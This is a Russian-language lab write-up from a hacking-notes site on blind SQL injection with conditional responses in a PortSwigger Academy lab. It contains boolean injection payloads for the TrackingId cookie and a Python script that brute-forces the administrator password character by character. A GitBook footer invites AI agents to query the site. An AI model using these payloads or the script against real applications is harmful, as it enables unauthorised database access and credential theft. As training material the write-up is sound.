> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/blind-sql-injection-with-conditional-responses.md).

# Слепая SQL-инъекция с условными ответами

Заметки по слепой SQL-инъекции с условными ответами для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Слепая SQL-инъекция с условными ответами

**Контекст / уязвимость:** значение отслеживающего cookie (`TrackingId`) внедряется в SQL-запрос на стороне сервера. Запрос не возвращает напрямую никаких результатов или ошибок, но страница отображает **"С возвращением!"** если запрос возвращает хотя бы одну строку. Это позволяет **слепую SQL-инъекцию на основе условия** (на основе булевой логики): мы проверяем истинность/ложность утверждений и наблюдаем наличие/отсутствие сообщения, чтобы извлечь данные.

**Цель лабораторной работы:** извлечь пароль из `роль администратора` пользователя и войти как администратор.

#### Техника (ключевые этапы и полезные нагрузки)

1. **Базовые тесты на стабильность / столбцы**

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ```

* (можно использовать для обнаружения ошибок, если это полезно)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-111d666c8e0235f31c3023632ab6580f5b106058%2F%7B12E7D909-400E-46A7-90DF-31978D55988B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad8adb0ad4b7afe1604a8b7ed430ea5f719133f3%2F%7BC69AAE08-1CBE-4908-B874-34D8CF90572E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2. **Проверка истинности/ложности условия (управление строкой ошибки)**

   ```sql
   ' AND (SELECT 'a') = 'a'-- -
   ' AND (SELECT 'a') = 'b'-- -
   ```

* первый должен вызвать `С возвращением!`, второй — нет.

3. **Проверить существование `роль администратора` user**

   ```sql
   ' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -
   ```

* если `С возвращением!` появляется, подзапрос вернул строку.

4. **Извлечение посимвольно (подстроки)**

* \*\*Имя пользователя (например) \*\*

  ````
   ```sql
   ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````
* \*\*Пароль (например) \*\*

  ````
   ```
   ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -
   ```
  ````

перебирайте позиции/значения, чтобы восстановить строку. 5. \*\*Определите длину (например: проверьте, что длина = 20) \*\*

````
```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -
```

адаптируйте это в зависимости от СУБД (`LENGTH` / `LEN` / `LENGTH()`).
````

### Автоматизирующий скрипт (Python)

" Предоставленный скрипт автоматизирует перебор посимвольно, изменяя `TrackingId` cookie.

```sql
from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("/nВыход.../n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable

def makeRequest():

    password = ""

    p1 = log.progress("Подбор")
    p1.status("Начало атаки перебором")
    time.sleep(2)

    p2 = log.progress("Пароль")

    for position in range(1, 21):
        for character in characters:

            cookies = {
                'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
                'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
            }
            p1.status(cookies['TrackingId'])
            try:
                r = requests.get(main_url, cookies=cookies)
                if "С возвращением!" in r.text:
                    password += character
                    p2.status(password)
                    break
            except requests.exceptions.RequestException as e:
                p1.failure(f"Запрос не выполнен: {e}")
                sys.exit(1)

if __name__ == '__main__':
    makeRequest()
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3caa28007d0b068dd007821ab2c36e14ab05824%2F%7B42AEA698-FE53-4F97-A832-48AF89477FAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/sql-injection/blind-sql-injection-with-conditional-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
